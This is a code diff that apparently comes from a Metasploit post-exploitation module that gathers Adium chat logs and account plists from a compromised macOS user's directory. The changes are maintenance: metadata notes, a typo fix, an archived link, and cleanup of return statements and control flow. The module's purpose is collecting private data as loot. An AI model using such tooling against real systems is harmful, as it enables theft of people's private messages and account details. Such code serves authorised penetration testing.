@@ -30,7 +30,12 @@ def initialize(info = {})
3030 [ 'CHATS' , { 'Description' => 'Collect chat logs with a pattern' } ] ,
3131 [ 'ALL' , { 'Description' => 'Collect both account plists and chat logs' } ]
3232 ] ,
33- 'DefaultAction' => 'ALL'
33+ 'DefaultAction' => 'ALL' ,
34+ 'Notes' => {
35+ 'Stability' => [ CRASH_SAFE ] ,
36+ 'SideEffects' => [ ARTIFACTS_ON_DISK ] ,
37+ 'Reliability' => [ ]
38+ }
3439 )
3540 )
3641
@@ -43,12 +48,11 @@ def initialize(info = {})
4348
4449 #
4550 # Parse a plst file to XML format:
46- # http://hints.macworld.com/article.php?story=20050430105126392
51+ # https://web.archive.org/web/20141112034745/ http://hints.macworld.com/article.php?story=20050430105126392
4752 #
4853 def plutil ( filename )
4954 exec ( "plutil -convert xml1 #{ filename } " )
50- data = exec ( "cat #{ filename } " )
51- return data
55+ exec ( "cat #{ filename } " )
5256 end
5357
5458 #
@@ -148,7 +152,7 @@ def get_account_info(base)
148152 # Save data, and then clean up
149153 #
150154 if xml . empty?
151- print_error ( "#{ @peer } - Unalbe to parse: #{ file } " )
155+ print_error ( "#{ @peer } - Unable to parse: #{ file } " )
152156 else
153157 loot << { filename : file , data : xml }
154158 exec ( "rm #{ rand_name } " )
@@ -220,7 +224,7 @@ def dir(path)
220224 # and retry under certain conditions.
221225 #
222226 def exec ( cmd )
223- out = cmd_exec ( cmd ) . chomp
227+ cmd_exec ( cmd ) . chomp
224228 rescue ::Timeout ::Error => e
225229 vprint_error ( "#{ @peer } - #{ e . message } - retrying..." )
226230 retry
@@ -260,17 +264,18 @@ def run
260264
261265 #
262266 # Check adium. And then set the default profile path
267+ # Example: /Users/[username]/Library/Application Support/Adium 2.0/
263268 #
264269 base = "/Users/#{ user } /Library/Application\\ Support/"
265270 adium_path = locate_adium ( base )
266- if adium_path
267- print_status ( "#{ @peer } - Found adium: #{ adium_path } " )
268- adium_path += 'Users/Default/'
269- else
271+ unless adium_path
270272 print_error ( "#{ @peer } - Unable to find adium, will not continue" )
271273 return
272274 end
273275
276+ print_status ( "#{ @peer } - Found adium: #{ adium_path } " )
277+ adium_path += 'Users/Default/'
278+
274279 #
275280 # Now that adium is found, let's download some stuff
276281 #
@@ -284,8 +289,3 @@ def run
284289 save ( :chatlogs , chatlogs ) if !chatlogs . nil? && !chatlogs . empty?
285290 end
286291end
287-
288- =begin
289- Adium:
290- /Users/[username]/Library/Application\ Support/Adium\ 2.0/
291- =end
0 commit comments